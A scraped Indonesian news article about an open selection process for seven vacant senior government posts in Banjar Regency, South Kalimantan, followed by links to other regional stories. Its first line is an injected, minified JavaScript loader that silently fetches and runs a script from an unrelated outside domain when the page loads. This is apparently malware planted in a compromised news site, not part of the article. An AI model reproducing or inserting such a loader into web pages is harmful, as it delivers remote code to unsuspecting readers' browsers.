(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sebanyak 65 orang pendaftar mengikuti proses lelang jabatan untuk tujuh posisi kosong di lingkup Pemkab Banjar. Pendaftaran proses lelang jabatan tersebut sebelumnya digelar oleh BKD dan PSDM Kabupaten Banjar sejak 17 September hingga berakhir 5 Oktober 2018.
Kepala BKD dan PSDM Banjar Mada Taruna mengatakan, para pendaftar tidak hanya berasal dari lingkup Pemkab Banjar saja. Tapi juga dari kabupaten/kota lainnya di lingkup Pemprov Kalsel. Selanjutkan, pihaknya melakukan seleksi administrasi dan peserta yang lulus akan disampaikan melalui situs BKD dan PSDM Banjar.
“Kriteria penilaian adalah kompetensi, kompetensi administrasi, kompetensi teknis dan manajerial serta kompetensi sosio kultural,†jelasnya.
Saat ini, tujuh posisi yang masih belum ada pejabat divinitif di Kabupaten Banjar meliputi Bappelitbangda, Asisten III, Dinas Pendidikan, Dinas Perindustrian dan Perdagangan, Kepala Kesbangpol, Dinas Pengendalian Penduduk, Keluarga Berencana, Pemberdayaan Perempuan dan Pemberdayaan Anak.
“Semua pejabat yang bersangkutan memasuki pensiun, kecuali Mantan Kepala Bappelitbangda Kabupaten Banjar, Harry Supriadi yang pindah bertugas ke Lembaga Administrasi Negara,†jelasnya.
Mereka yang pensiun adalah, Wildan Amir yang menjabat Asisten III, Gusti Ruspansyah yang menjabat Kepala Dinas Pendidikan, HM Ramlan menjabat Kepala Disperindag, H Shofwan Soeryadi yang menjabat Kepala Badan Kesbangpol serta Hj Rosana Mardiana sebagai Kepala Dinas Pengendalian Penduduk, KB, Pemberdayaan Perempuan dan Perlindungan Anak.
Dari data, ada yang pensiun di 2018, dan terakhir pensiun pada 1 Januari 2019 adalah Sofwan Soeryadi yang menjabat Kepala Kesbangpol.
Menyikapi hal ini, Wakil Ketua DPRD Banjar Saidan Fahmi meminta agar proses pengisian jabatan berlangsung transparan dan fair. Terutama untuk sejumlah posisi strategis seperti Bappelitbangda yang memiliki tugas menerjemahkan visi dan misi Bupati.
“Posisi tersebut harus benar-benar selektif. Kalau saya menyarankan agar Bapelitbang jangan dilelang, tetapi lakukan mutasi saja dari kepala dinas yang ada,†usulnya.
Dalam prosesnya, semua nama-nama pendaftar nantinya akan diseleksi melalui beberapa tahapan hingga menghasilkan peserta dengan nilai terbaik. Nama-nama tersebut, selanjutnya akan diajukan kepada Bupati Banjar Khalilurrahman untuk dipilih. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.